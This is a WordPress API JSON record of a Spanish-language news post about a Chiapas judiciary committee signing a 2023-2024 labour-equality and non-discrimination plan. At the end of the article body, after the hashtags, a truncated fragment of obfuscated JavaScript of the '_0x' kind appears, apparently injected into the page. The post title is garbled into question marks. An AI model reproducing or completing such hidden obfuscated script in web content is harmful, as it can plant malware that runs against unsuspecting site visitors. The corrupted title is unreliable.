{"id":9179,"date":"2023-03-25T23:08:50","date_gmt":"2023-03-25T23:08:50","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=9179"},"modified":"2023-03-25T23:08:51","modified_gmt":"2023-03-25T23:08:51","slug":"%f0%9d%90%92%f0%9d%90%9e-%f0%9d%90%ab%f0%9d%90%9e%f0%9d%90%9a%f0%9d%90%a5%f0%9d%90%a2%f0%9d%90%b3%f0%9d%90%9a-%f0%9d%90%a5%f0%9d%90%9a-%f0%9d%90%8f%f0%9d%90%ab%f0%9d%90%a2%f0%9d%90%a6%f0%9d%90%9e","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=9179","title":{"rendered":"?? ??????? ?? ??????? ????o? ?????????????? ???? ??? ?????? ?? ???????? ??????? ? ?? ?????????????? ??? ????? ????????"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

22 de marzo del 2023<\/p>\n\n\n\n

Tuxtla Guti\u00e9rrez
El Poder Judicial del Estado, que encabeza el magistrado presidente del Tribunal Superior de Justicia y del Consejo de la Judicatura Guillermo Ramos P\u00e9rez, llev\u00f3 a cabo la Primera Sesi\u00f3n Extraordinaria 2023, del Comit\u00e9 de Igualdad Laboral y No Discriminaci\u00f3n de esta casa de la justicia, a fin de transversalizar buenas pr\u00e1cticas en beneficio de la familia judicial.<\/p>\n\n\n\n

Las y los integrantes de este Comit\u00e9, se dieron cita en la Sala de Presidentes de esta casa de la justicia, donde se realiz\u00f3 la presentaci\u00f3n y firma del Plan de Trabajo 2023-2024 en Igualdad Laboral y No Discriminaci\u00f3n, con el que se regir\u00e1n las acciones de inclusi\u00f3n que se deber\u00e1n llevar a cabo en este per\u00edodo.<\/p>\n\n\n\n

Durante su participaci\u00f3n, la consejera de la Judicatura y Ombudsperson del Poder Judicial del Estado de Chiapas, Mar\u00eda Itzel Ballinas Barbosa, resalt\u00f3 que con la finalidad de fortalecer la cultura de la inclusi\u00f3n este Plan de Trabajo, trasciende a todas las personas servidoras p\u00fablicas, porque en esta gran familia judicial, hay trabajadoras y trabajadores de edad avanzada o con alguna condici\u00f3n f\u00edsica, circunstancia familiar o discapacidad, lo que nos compromete a capacitarnos para ofrecer un trato digno y evitar conductas que puedan determinarse como discriminatorias.<\/p>\n\n\n\n

Por ello, Ballinas Barbosa exhort\u00f3 a las y los integrantes del Comit\u00e9 de Igualdad Laboral y No Discriminaci\u00f3n, a refrendar su compromiso institucional de colaboraci\u00f3n y coordinaci\u00f3n interna, para hacer realidad la inclusi\u00f3n laboral y sin discriminaci\u00f3n de ning\u00fan tipo, que es parte del compromiso del magistrado presidente Guillermo Ramos P\u00e9rez, en la construcci\u00f3n de un clima laboral libre de violencia y discriminaci\u00f3n.<\/p>\n\n\n\n

Por su parte, la coordinadora del Comit\u00e9 y directora de Igualdad de G\u00e9nero y Derechos Humanos, Silinia Aguilar Avenda\u00f1o, explic\u00f3 a grandes rasgos el contenido de cada uno de los puntos y temas contenidos en este Plan, los cuales, con el trabajo coordinado entre las y los integrantes de este Comit\u00e9, se realizar\u00e1n de forma exitosa.<\/p>\n\n\n\n

Finalmente, el consejero de la Judicatura, Omar Heleria Reyes fue el encargado de clausurar esta Primera Sesi\u00f3n Extraordinaria, y refrend\u00f3 su compromiso en abonar a la consecuci\u00f3n de una pol\u00edtica en materia de Igualdad, que refleje los valores de respeto, tolerancia e inclusi\u00f3n dentro de las tareas de todas y todos, como prestadores de un servicio p\u00fablico.
En esta Primera Sesi\u00f3n Extraordinaria asistieron tambi\u00e9n la oficial mayor, Natividad Esperanza Gallardo Ramos; la magistrada coordinadora de Visitadur\u00eda, Mar\u00eda Elena Faviel Barrios; as\u00ed como las y los dem\u00e1s integrantes y representantes que conforman el Comit\u00e9 de Igualdad Laboral y No Discriminaci\u00f3n.<\/p>\n\n\n\n

PJEChiapas<\/h1>\n\n\n\n

JusticiaParaTodasyTodos<\/h1>\n\n\n\n

Tribunaldepuertasabiertas<\/h1>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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